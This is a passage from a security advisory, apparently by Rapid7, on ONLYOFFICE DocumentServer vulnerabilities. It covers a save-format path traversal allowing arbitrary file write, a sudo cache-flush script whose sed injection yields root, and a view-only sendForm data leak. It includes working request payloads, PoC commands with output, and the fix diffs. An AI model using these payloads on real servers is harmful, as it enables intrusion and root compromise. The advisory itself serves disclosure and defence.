+sConvertionParams = RemoveUnsafeX2tParams(std::wstring(params));</pre><p></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/core/blob/v10.0.0.169/DesktopEditor/doctrenderer/docbuilder_p.h#L954-L985"><span style='font-size: undefined;'>RemoveUnsafeX2tParams()</span></a><span style='font-size: undefined;'> parses the supplied XML and removes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>m_sFileFrom</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>m_sFileTo</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>m_sTempDir</span></span><span style='font-size: undefined;'>. The submitted payload depends on overriding the first two fields to select its archive and extraction destination. Other conversion parameters remain supported.</span></p><h2 style="direction: ltr;">Complete-save format traversal enables arbitrary file write (CVE-2026-97727)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker with a valid save session can place path traversal path segments in the requested output format and create or overwrite any file writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> on installations using filesystem storage. This file write also enables </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.a4kln142eumw"><span style='font-size: undefined;'>remote code execution as ds</span></a><span style='font-size: undefined;'> through DocService's runtime logging configuration.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Prerequisite:</strong></span><span style='font-size: undefined;'> The attacker needs a valid document Session JWT. The installation must use filesystem storage, and the destination must be writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. No victim interaction is required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Session-token branch of </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/canvasservice.js#L1563-L1576"><span style='font-size: undefined;'>downloadAs()</span></a><span style='font-size: undefined;'> checks save permissions after validating the signature:</span></p><pre language="javascript">const doc = checkJwtRes.decoded.document;
// [0] Save permission check
if (!doc.permissions || false !== doc.permissions.download || false !== doc.permissions.print) {
  isValidJwt = true;
  // ... document and user binding omitted ...
} else {
  ctx.logger.warn('Error downloadAs jwt: %s', 'access deny');
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, the save is denied only when both </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>download</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>print</span><span style='font-size: undefined;'> are explicitly </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>false</span><span style='font-size: undefined;'>. An absent permissions object or either absent flag passes this check.</span></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/canvasservice.js#L661-L669"><span style='font-size: undefined;'>commandSave()</span></a><span style='font-size: undefined;'> appends the request's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>format</span><span style='font-size: undefined;'> directly to the filename prefix:</span></p><pre language="javascript">const format = cmd.getFormat() || 'bin';
const completeParts = yield* saveParts(ctx, cmd, 'Editor.' + format); // [1] Requested format suffix</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The suffix at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> reaches </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/canvasservice.js#L409-L424"><span style='font-size: undefined;'>saveParts()</span></a><span style='font-size: undefined;'> unchanged. That function normalizes the filename only for save types other than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_COMPLETE_ALL</span></span><span style='font-size: undefined;'>:</span></p><pre language="javascript">if (SAVE_TYPE_COMPLETE_ALL !== saveType) { // [2] Conditional filename normalization
  const ext = pathModule.extname(filename);
  const saveIndex = parseInt(cmd.getSaveIndex()) || 1; //prevent path traversal
  filename = pathModule.basename(filename, ext) + saveIndex + ext;
}
// ... save-key setup omitted ...
const buffer = cmd.getData();
// [3] Storage write
yield storage.putObject(ctx, cmd.getDocId() + cmd.getSaveKey() + '/' + filename, buffer, buffer.length);</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>For </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_COMPLETE_ALL</span></span><span style='font-size: undefined;'>, the condition at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> skips basename normalization, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> writes the resulting path. The filesystem backend </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/storage/storage-fs.js#L44-L47"><span style='font-size: undefined;'>joins</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/storage/storage-fs.js#L74-L83"><span style='font-size: undefined;'>writes</span></a><span style='font-size: undefined;'> that path without checking that it remains beneath the document root.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cmd</span></span><span style='font-size: undefined;'> query parameter on </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/downloadas/ignored</span></span><span style='font-size: undefined;'> contains URL-encoded JSON. The request fragments below show that JSON decoded separately for readability.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Reserving a save key</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker first sends a normal </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_PART_START</span></span><span style='font-size: undefined;'> request with their valid Session JWT:</span></p><pre language="html">POST /downloadas/ignored?cmd=URL_ENCODED_COMMAND HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

reservation</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The decoded </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><em><span data-type='inlineCode'>cmd</span></em></span><span style='font-size: undefined;'> value in that request is:</span></p><pre language="json">{
  "c": "save",
  "id": "ignored",
  "tokenSession": "DOCUMENT_SESSION_JWT",
  "saveindex": 1,
  "outputformat": 513,
  "withoutPassword": true,
  "format": "bin",
  "savetype": 0
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer returns a server-generated continuation key:</span></p><pre language="json">{"status":"ok","data":"_5619"}</pre><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Writing outside the document directory</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker sends a second request using that key and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_COMPLETE_ALL</span></span><span style='font-size: undefined;'>. Its body contains the bytes to write, while </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>format</span><span style='font-size: undefined;'> contains enough parent-directory components to reach the chosen absolute path:</span></p><pre language="html">POST /downloadas/ignored?cmd=URL_ENCODED_COMMAND HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

ATTACKER_CONTROLLED_FILE_BYTES</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The decoded </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cmd</span></span><span style='font-size: undefined;'> value in the second request is:</span></p><pre language="json">{
  "c": "save",
  "id": "ignored",
  "tokenSession": "DOCUMENT_SESSION_JWT",
  "saveindex": 1,
  "outputformat": 513,
  "withoutPassword": true,
  "savekey": "_5619",
  "format": "/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/onlyoffice/rapid7-write.txt",
  "savetype": 3
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer returns the same continuation key, confirming that it accepted the complete save:</span></p><pre language="json">{"status":"ok","data":"_5619"}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_COMPLETE_ALL</span></span><span style='font-size: undefined;'> skips basename normalization, the filesystem backend resolves the traversal and writes the request body to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/etc/onlyoffice/rapid7-write.txt</span></span><span style='font-size: undefined;'> as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>PoC</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/downloadas_format_traversal.py"><span style='font-size: undefined;'>format-traversal PoC</span></a><span style='font-size: undefined;'> uses a Session JWT to create </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/etc/onlyoffice/rapid7-write.txt</span></span><span style='font-size: undefined;'>:</span></p><pre language="shell-session">python3 pocs/downloadas_format_traversal.py \
  --documentserver https://docs.example.test \
  --token-file /secure/document-session.jwt \
  --target-path /etc/onlyoffice/rapid7-write.txt \
  --data 'attacker-controlled configuration write'</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output:</span></p><pre language="html">[*] requesting a server-generated save key
[+] reserved save key _5619
[+] traversal request accepted for /etc/onlyoffice/rapid7-write.txt</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The new file contained the supplied data:</span></p><pre language="html">$ cat /etc/onlyoffice/rapid7-write.txt
attacker-controlled configuration write</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Testing created a new file rather than overwriting the running configuration. A permission audit found active </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>local.json</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>default.json</span></span><span style='font-size: undefined;'> files in the same configuration tree writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker can create or overwrite any file writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. The demonstrated chain uses CVE-2026-113627 to forge a Session JWT, then CVE-2026-97727 to write a JavaScript appender, command script and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'> into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/www/onlyoffice/Data</span></span><span style='font-size: undefined;'>. DocService loads the appender and executes the command as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. The file-write primitive scores </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"><span style='font-size: undefined;'><strong>6.5 Medium</strong></span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Unlike the </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/storage/storage-base.js#L62-L65"><span style='font-size: undefined;'>9.4.0-129 implementation</span></a><span style='font-size: undefined;'>, the shared </span><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/Common/sources/storage/storage-base.js#L61-L70"><span style='font-size: undefined;'>getStoragePath()</span></a><span style='font-size: undefined;'> in 10.0.0-169 checks the normalized object key before handing it to a storage backend:</span></p><pre language="diff">-return opt_specialDir + '/' + tenantManager.getTenantPathPrefix(ctx) + strPath.replace(/\\/g, '/');
+const storagePath = opt_specialDir + '/' + tenantManager.getTenantPathPrefix(ctx) + strPath.replace(/\\/g, '/');
+const normalized = path.posix.normalize(storagePath);
+if (normalized !== opt_specialDir && !normalized.startsWith(opt_specialDir + '/')) {
+  throw new Error('getStoragePath: path escapes storage root');
+}
+return storagePath;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The check rejects a key that resolves outside the designated storage directory. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>commandSave()</span></span><span style='font-size: undefined;'> still constructs a filename from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>format</span><span style='font-size: undefined;'>; the new boundary is in the shared storage layer. In the 10.0.0-169 test, a genuine Session JWT reserved a normal save key, but the traversal request returned HTTP 400 and the target file was absent.</span></p><h2 style="direction: ltr;">Passwordless maintenance command elevates ds to root (CVE-2026-113630)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The installed sudo policy lets </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> run </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>documentserver-flush-cache.sh</span></span><span style='font-size: undefined;'> as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> with unrestricted arguments. The script embeds its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>--hash</span></span><span style='font-size: undefined;'> argument into a GNU sed expression, allowing code running as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> to execute arbitrary commands as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Prerequisite:</strong></span><span style='font-size: undefined;'> The attacker needs local command execution as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/ONLYOFFICE/document-server-package/blob/v9.4.0.129/common/documentserver/sudoers/documentserver#L4-L9"><span style='font-size: undefined;'>documentserver sudoers file</span></a><span style='font-size: undefined;'> grants </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> passwordless root execution of three scripts with unrestricted arguments:</span></p><pre language="bash">Cmnd_Alias DS_ROOT_SCRIPTS = \
  /usr/bin/documentserver-letsencrypt.sh *, \
  /usr/bin/documentserver-generate-allfonts.sh *, \
  /usr/bin/documentserver-flush-cache.sh *  # [0] Unrestricted helper arguments

ds ALL=(root) NOPASSWD: DS_ROOT_SCRIPTS  # [1] Passwordless root execution</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>*</span></span><span style='font-size: undefined;'> permits </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> to choose every argument supplied to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>documentserver-flush-cache.sh</span></span><span style='font-size: undefined;'>. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, sudo executes that script as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> without asking for a password.</span></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/document-server-package/blob/v9.4.0.129/common/documentserver/bin/documentserver-flush-cache.sh.m4#L3-L31"><span style='font-size: undefined;'>documentserver-flush-cache.sh</span></a><span style='font-size: undefined;'> assigns the complete </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>--hash</span></span><span style='font-size: undefined;'> argument to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>HASH</span><span style='font-size: undefined;'> and interpolates it directly into a sed program:</span></p><pre language="bash">while [ "$1" != "" ]; do
  case $1 in
    -h | --hash )
      if [ "$2" != "" ]; then
        HASH=$2  # [2] Unchecked hash argument
        shift
      fi
    ;;
    # ... restart option omitted ...
  esac
  shift
done
API_PATH="/var/www/M4_DS_PREFIX/web-apps/apps/api/documents/api.js"
cp -f ${API_PATH}.tpl ${API_PATH}
sed -i "s/{{HASH_POSTFIX}}/${HASH}/g" ${API_PATH}  # [3] Sed interpolation</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the script applies no character allowlist or length constraint. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>, the attacker controls sed replacement text, delimiters, flags, and additional commands in the sed program. Because sudo has already changed the effective UID, GNU sed and every command reached through its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>e</span></span><span style='font-size: undefined;'> flag run as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The packaged </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>api.js.tpl</span></span><span style='font-size: undefined;'> contains a matching line:</span></p><pre language="javascript">const ver = '/9.4.0-{{HASH_POSTFIX}}'; // [4] Sed match target</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker supplies this </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>--hash</span></span><span style='font-size: undefined;'> value:</span></p><pre language="bash">';id &gt; \/tmp\/r7-root;#'/e;#</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The interpolation at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> produces this sed expression:</span></p><pre language="bash">s/{{HASH_POSTFIX}}/';id &gt; \/tmp\/r7-root;#'/e;#/g</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The injected </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/</span></span><span style='font-size: undefined;'> ends the replacement early, making </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>e</span><span style='font-size: undefined;'> a </span><a href="https://www.gnu.org/software/sed/manual/sed.html#The-_0022s_0022-Command"><span style='font-size: undefined;'>shell-execution flag</span></a><span style='font-size: undefined;'>. The final </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>;#</span></span><span style='font-size: undefined;'> comments out the helper's appended </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/g</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After substitution, the template line at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> becomes:</span></p><pre language="bash">const ver = '/9.4.0-';id &gt; /tmp/r7-root;#'';</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>e</span></span><span style='font-size: undefined;'> flag sends this whole line to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/bin/sh</span></span><span style='font-size: undefined;'>. The shell tries to run </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>const</span><span style='font-size: undefined;'>, which fails, but the semicolon still starts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>id</span><span style='font-size: undefined;'>. Its output is written to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/tmp/r7-root</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>#</span></span><span style='font-size: undefined;'> comments out the trailing quotes. Because sudo launched the helper as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>id</span></span><span style='font-size: undefined;'> also runs as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>From a process running as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>, the attacker supplies a sed expression that terminates the intended replacement, executes a command, and comments out the rest.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the view-only remote chain, the SaveFile stage writes a command script into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/www/onlyoffice/Data</span></span><span style='font-size: undefined;'>. The loaded appender invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/usr/bin/sudo</span></span><span style='font-size: undefined;'> with an argument array, placing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/bin/sh /var/www/onlyoffice/Data/r7-command-NONCE.sh</span></span><span style='font-size: undefined;'> in the same sed payload. The helper executes that script as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>root</span><span style='font-size: undefined;'>, and the PoC makes additional </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> requests to read its output.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>PoC</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Run the helper as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>, then read the result:</span></p><pre language="bash">sudo /usr/bin/documentserver-flush-cache.sh \
    --hash "';id &gt; \/tmp\/r7-root;#'/e;#" \
    --restart false
cat /tmp/r7-root
uid=0(root) gid=0(root) groups=0(root)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.g3gkj5d1rkfu"><span style='font-size: undefined;'>DocBuilder chain</span></a><span style='font-size: undefined;'> invokes this helper remotely through the SaveFile finding.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker who compromises DocumentServer's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ds</span><span style='font-size: undefined;'> process can cross the operating-system privilege boundary and execute as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> inside the official container. This scores </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'><strong>7.8 High</strong></span></a><span style='font-size: undefined;'>. The tested container lacked a Docker socket, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> had no effective Linux capabilities.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/ONLYOFFICE/document-server-package/blob/v10.0.0.169/common/documentserver/bin/documentserver-flush-cache.m4#L24-L46"><span style='font-size: undefined;'>10.0.0-169 cache-flush script</span></a><span style='font-size: undefined;'> validates </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HASH</span></span><span style='font-size: undefined;'> before inserting it into the sed expression:</span></p><pre language="diff">+case "$HASH" in
+    '') ;;
+    *[!A-Za-z0-9._-]*)
+        echo "documentserver-flush-cache: invalid --hash value '${HASH}': only [A-Za-z0-9._-] characters are allowed" &gt;&2
+        exit 1
+        ;;
+esac</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The new check rejects characters needed for the sed injection, including </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>;</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>'</span></span><span style='font-size: undefined;'>. The helper was also renamed to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>documentserver-flush-cache</span></span><span style='font-size: undefined;'>; the </span><a href="https://github.com/ONLYOFFICE/document-server-package/blob/v10.0.0.169/common/documentserver/sudoers/documentserver#L3-L9"><span style='font-size: undefined;'>10.0 sudoers file</span></a><span style='font-size: undefined;'> still allows </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> to run it as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> without a password.</span></p><h2 style="direction: ltr;">View-only sendForm exports non-rendered document data (CVE-2026-113631)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A viewer can reconnect with a valid Session JWT while replacing the callback URL from the signed opening configuration. Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sendForm</span></span><span style='font-size: undefined;'> remains available in view mode, DocumentServer reconstructs the document and sends it to the attacker even when download and form-filling are disabled.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Prerequisite:</strong></span><span style='font-size: undefined;'> The attacker must be authorized to view the target DOCX and connect normally once to receive its Session JWT. DocumentServer must be able to reach the attacker's replacement callback. To disclose more than the viewer displays, the document must contain non-rendered data. No edit, download, copy, print, or form-filling permission is required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A view-only editor connection receives a server-issued Session JWT for reconnection. </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/DocsCoServer.js#L535-L565"><span style='font-size: undefined;'>fillJwtByConnection()</span></a><span style='font-size: undefined;'> constructs its payload as follows:</span></p><pre language="javascript">const edit = payload.editorConfig;
//todo
//edit.callbackUrl = callbackUrl; // [0] Callback assignment disabled

// ... remaining session fields omitted ...

return yield signToken(ctx, payload, tenTokenSessionAlgorithm, tenTokenSessionExpires / 1000, commonDefines.c_oAscSecretType.Session);</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The commented-out assignment at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> leaves the original callback URL out of the signed reconnect state. A reconnecting viewer can replace it; after host filtering, DocumentServer stores the replacement as that viewer's callback.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Message authorization and dispatch in </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/DocsCoServer.js#L1945-L2041"><span style='font-size: undefined;'>DocsCoServer.js</span></a><span style='font-size: undefined;'> include:</span></p><pre language="javascript">// [1] Restricted viewer messages
if (
  (conn.isCloseCoAuthoring || (conn.user && conn.user.view)) &&
  ('getLock' == data.type || 'saveChanges' == data.type || 'isSaveLock' == data.type)
) {
  // ... denial omitted ...
}
// ... other message types omitted ...
case 'rpc':
  yield* startRPC(ctx, conn, data.responseKey, data.data); // [2] RPC dispatch
  break;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The view-mode restriction at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> omits </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>rpc</span></span><span style='font-size: undefined;'>, allowing dispatch to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>startRPC()</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>. The </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/DocsCoServer.js#L1302-L1333"><span style='font-size: undefined;'>sendForm branch</span></a><span style='font-size: undefined;'> checks only that </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>conn.user</span></span><span style='font-size: undefined;'> exists; it does not require edit, download, print, form-filling, or export permission. </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/canvasservice.js#L1043-L1230"><span style='font-size: 